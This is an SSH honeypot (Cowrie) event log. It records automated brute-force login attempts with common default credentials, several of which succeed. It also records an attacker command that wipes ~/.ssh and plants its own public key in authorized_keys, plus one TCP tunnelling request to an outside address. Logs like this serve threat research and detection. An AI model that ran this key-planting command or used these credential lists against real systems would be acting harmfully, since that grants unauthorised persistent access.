{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:56:58.412714Z","src_ip":"92.118.39.92","session":"f20627e71af7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"www123","message":"login attempt [www/www123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:56:58.771041Z","src_ip":"92.118.39.92","session":"f20627e71af7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:56:59.880538Z","src_ip":"92.118.39.92","session":"f20627e71af7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":53898,"dst_ip":"159.203.135.109","dst_port":22,"session":"0802d513daaf","protocol":"ssh","message":"New connection: 195.178.110.218:53898 (159.203.135.109:22) [session: 0802d513daaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:58:07.731665Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:58:07.736560Z","src_ip":"195.178.110.218","session":"0802d513daaf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:58:07.816017Z","src_ip":"195.178.110.218","session":"0802d513daaf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"firedancer","password":"firedancer","message":"login attempt [firedancer/firedancer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:58:08.050378Z","src_ip":"195.178.110.218","session":"0802d513daaf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:58:09.130001Z","src_ip":"195.178.110.218","session":"0802d513daaf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":33024,"dst_ip":"10.17.0.5","dst_port":22,"session":"35705c550624","protocol":"ssh","message":"New connection: 92.118.39.92:33024 (10.17.0.5:22) [session: 35705c550624]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:59:16.030128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:59:16.035078Z","src_ip":"92.118.39.92","session":"35705c550624","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:59:16.133637Z","src_ip":"92.118.39.92","session":"35705c550624","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"admin123","message":"login attempt [admin/admin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:59:16.476220Z","src_ip":"92.118.39.92","session":"35705c550624","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:59:17.577649Z","src_ip":"92.118.39.92","session":"35705c550624","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.231.199.170","src_port":56426,"dst_ip":"10.17.0.5","dst_port":22,"session":"c7103904dd7b","protocol":"ssh","message":"New connection: 61.231.199.170:56426 (10.17.0.5:22) [session: c7103904dd7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:59:23.956325Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:59:23.960603Z","src_ip":"61.231.199.170","session":"c7103904dd7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:59:24.186556Z","src_ip":"61.231.199.170","session":"c7103904dd7b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Windows!","message":"login attempt [root/Windows!] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:59:25.108084Z","src_ip":"61.231.199.170","session":"c7103904dd7b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:59:25.589024Z","src_ip":"61.231.199.170","session":"c7103904dd7b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:59:25.591916Z","src_ip":"61.231.199.170","session":"c7103904dd7b","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:59:25.594778Z","src_ip":"61.231.199.170","session":"c7103904dd7b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:59:25.819080Z","src_ip":"61.231.199.170","session":"c7103904dd7b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:59:26.296543Z","src_ip":"61.231.199.170","session":"c7103904dd7b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:59:26.299320Z","src_ip":"61.231.199.170","session":"c7103904dd7b","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:59:26.524257Z","src_ip":"61.231.199.170","session":"c7103904dd7b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:59:26.527822Z","src_ip":"61.231.199.170","session":"c7103904dd7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.231.199.170","src_port":57408,"dst_ip":"10.17.0.5","dst_port":22,"session":"8d7d3423de48","protocol":"ssh","message":"New connection: 61.231.199.170:57408 (10.17.0.5:22) [session: 8d7d3423de48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:59:26.746496Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:59:26.751029Z","src_ip":"61.231.199.170","session":"8d7d3423de48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:59:26.979036Z","src_ip":"61.231.199.170","session":"8d7d3423de48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:59:27.932004Z","src_ip":"61.231.199.170","session":"8d7d3423de48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:59:29.161100Z","src_ip":"61.231.199.170","session":"8d7d3423de48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"61.231.199.170","src_port":58052,"dst_ip":"10.17.0.5","dst_port":22,"session":"edc68900ceb8","protocol":"ssh","message":"New connection: 61.231.199.170:58052 (10.17.0.5:22) [session: edc68900ceb8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:59:29.373354Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:59:29.377745Z","src_ip":"61.231.199.170","session":"edc68900ceb8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:59:29.601739Z","src_ip":"61.231.199.170","session":"edc68900ceb8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:59:30.536652Z","src_ip":"61.231.199.170","session":"edc68900ceb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:59:30.762608Z","src_ip":"61.231.199.170","session":"edc68900ceb8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.8","message":"Connection lost after 6.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:59:30.772848Z","src_ip":"61.231.199.170","session":"c7103904dd7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.156.73.233","src_port":45662,"dst_ip":"159.203.135.109","dst_port":22,"session":"3fc1a19a5e50","protocol":"ssh","message":"New connection: 185.156.73.233:45662 (159.203.135.109:22) [session: 3fc1a19a5e50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:00:45.253933Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","message":"Remote SSH version: SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:00:45.259192Z","src_ip":"185.156.73.233","session":"3fc1a19a5e50","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"390ffe68a68c2a2891210413e80689fa","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ecdsa-sha2-nistp256@openssh.com","ssh-ed25519","sk-ssh-ed25519@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 390ffe68a68c2a2891210413e80689fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:00:45.330935Z","src_ip":"185.156.73.233","session":"3fc1a19a5e50","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"abcd1234","message":"login attempt [root/abcd1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:00:45.679194Z","src_ip":"185.156.73.233","session":"3fc1a19a5e50","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"54.195.239.56","dst_port":443,"src_ip":"185.156.73.233","src_port":50604,"message":"direct-tcp connection request to 54.195.239.56:443 from 127.0.0.1:50604","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T07:00:48.787940Z","session":"3fc1a19a5e50","protocol":"ssh"}
